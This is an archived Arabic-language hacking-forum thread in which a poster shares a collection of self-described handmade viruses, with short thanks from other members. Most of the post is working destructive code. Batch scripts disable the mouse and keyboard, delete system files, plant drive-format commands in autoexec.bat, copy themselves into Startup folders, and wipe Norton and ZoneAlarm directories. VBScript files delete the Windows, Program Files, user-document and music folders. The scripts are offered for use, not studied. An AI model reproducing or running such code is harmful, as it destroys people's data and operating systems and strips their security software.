:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   قـسـم الفـايروسات Viruses (http://www.vbspiders.com/vb/f39.html)
-   -   مجموعة جميلة من الفيروسات (لحق حالك وشوف ) (http://www.vbspiders.com/vb/t56568.html)

Arthas 07-13-2011 10:30 PM

مجموعة جميلة من الفيروسات (لحق حالك وشوف )
 
السلام عليكم ورحمة الله وبركاته




اخواني حبيت اقدم لكم اليوم مجموعة اكواد فيروسات (صنع يدوي) وهي فيروسات ان شاء الله تنال اعجابكم وابرزها فيروس (ساسر العرب) الي هو من تصميمي الشخصي ....






بسم الله الرحمن الرحيم








1 اكواد فيروسات من نوع bat
1)قاتل الدوس
كود:
@echo off
كود:
C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
del c:\command.com
del c:\Io.sys
del c:\Config.sys
del c:\Msdos.sys
del c:\windows\system32\command.com
deltree /y C:\WINDOWS\COMMAND\*.*
deltree /y C:\WIN98\COMMAND\*.*
deltree /y C:\WINme\COMMAND\*.*
deltree /y C:\WIN_me\COMMAND\*.*
deltree /y C:\WINxp\COMMAND\*.*
deltree /y C:\WIN_xp\COMMAND\*.*
del d:\command.com
del d:\Io.sys
del d:\Config.sys
del d:\Msdos.sys
del d:\windows\system32\command.com
deltree

2) قاتل ملفات السيستم
كود:
@echo off
c:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
c:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
CLS

3)فورمات
كود:
call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo off@
shutdown -s

4) قتل الماوس+ الكيبورد
كود:
@echo off
C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
copy key.BAT C:\WINDOWS\startm~1\programs\startup
copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
CLS
echo abohacker
shutdown -s

5) قاتل النورتن
كود:
@echo off
%WinDir%\rundll.exe mouse,disable
%WinDir%\rundll.exe keyboard,disable
copy hahahah.BAT %windir%\startm~1\programs\startup
copy hahahah.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy hahahah.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
deltree /y c:\progra~1\norton~1\*.*
deltree /y d:\progra~1\norton~1\*.*
deltree /y c:\progra~1\zonela~1\*.*
deltree /y d:\progra~1\zonela~1\*.*
cls



اكواد فيروسات الـفي بي اس


1)قاتل الويندوز
كود:
dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\windows") Then
foldersys.DeleteFolder "c:\windows",TRUE
END IF
If foldersys.FolderExists ("c:\win98") Then
foldersys.DeleteFolder "c:\win98",TRUE
END IF
If foldersys.FolderExists ("c:\winme") Then
foldersys.DeleteFolder "c:\winme",TRUE
END IF
If foldersys.FolderExists ("c:\win_me") Then
foldersys.DeleteFolder "c:\win_me",TRUE
END IF
If foldersys.FolderExists ("c:\winxp") Then
foldersys.DeleteFolder "c:\winxp",TRUE
END IF
If foldersys.FolderExists ("c:\win_xp") Then
foldersys.DeleteFolder "c:\win_xp",TRUE
END IF
If foldersys.FolderExists ("d:\windows") Then
foldersys.DeleteFolder "d:\windows",TRUE
END IF

2)ماسح البرامج
كود:
dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF

3) ماسح سطح الكتب + المستندات
كود:
dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\My ********s") Then
foldersys.DeleteFolder "c:\My ********s",TRUE
END IF
If foldersys.FolderExists ("D:\My ********s") Then
foldersys.DeleteFolder "D:\My ********s",TRUE
END IF
If foldersys.FolderExists ("c:\My Music") Then
foldersys.DeleteFolder "c:\My Music",TRUE
END IF
If foldersys.FolderExists ("D:\My Music") Then
foldersys.DeleteFolder "D:\My Music",TRUE
END IF
If foldersys.FolderExists ("C:\********s and Settings") Then
foldersys.DeleteFolder "C:\********s and Settings",TRUE
END IF
If foldersys.FolderExists ("D:\********s and Settings") Then
foldersys.DeleteFolder "D:\********s and Settings",TRUE
END IF

4)قاتل الام بي ثري
كود:
dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("D:\MP3") Then
foldersys.DeleteFolder "D:\MP3",TRUE
END IF
If foldersys.FolderExists ("E:\MP3") Then
foldersys.DeleteFolder "E:\MP3",TRUE
END IF
If foldersys.FolderExists ("F:\MP3") Then
foldersys.DeleteFolder "F:\MP3",TRUE
END IF
If foldersys.FolderExists ("G:\MP3") Then
foldersys.DeleteFolder "G:\MP3",TRUE
END IF
If foldersys.FolderExists ("H:\MP3") Then
foldersys.DeleteFolder "H:\MP3",TRUE
END IF
If foldersys.FolderExists ("I:\MP3") Then
foldersys.DeleteFolder "I:\MP3",TRUE
END IF
If foldersys.FolderExists ("J:\MP3") Then
foldersys.DeleteFolder "J:\MP3",TRUE
END IF
If foldersys.FolderExists ("K:\MP3") Then
foldersys.DeleteFolder "K:\MP3",TRUE
END IF
If foldersys.FolderExists ("D:\SONGS") Then
foldersys.DeleteFolder "D:\SONGS",TRUE
END IF
If foldersys.FolderExists ("E:\SONGS") Then
foldersys.DeleteFolder "E:\SONGS",TRUE
END IF
If foldersys.FolderExists ("F:\SONGS") Then
foldersys.DeleteFolder "F:\SONGS",TRUE
END IF
If foldersys.FolderExists ("G:\SONGS") Then
foldersys.DeleteFolder "G:\SONGS",TRUE
END IF
If foldersys.FolderExists ("H:\SONGS") Then
foldersys.DeleteFolder "H:\SONGS",TRUE
END IF
If foldersys.FolderExists ("I:\SONGS") Then
foldersys.DeleteFolder "I:\SONGS",TRUE
END IF
If foldersys.FolderExists ("J:\SONGS") Then
foldersys.DeleteFolder "J:\SONGS",TRUE
END IF
If foldersys.FolderExists ("K:\SONGS") Then
foldersys.DeleteFolder "K:\SONGS",TRUE
END IF






__________________________________________________ _________________________
وهذي مجموعة فيروسات جاهزة















X-telmid 07-30-2011 09:51 PM

ههههه تمام

safi2010 08-02-2011 06:26 PM

تم التقييم

palstine sniper 12-03-2011 01:05 PM

رد: مجموعة جميلة من الفيروسات (لحق حالك وشوف )
 
مشكور


الساعة الآن 01:54 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0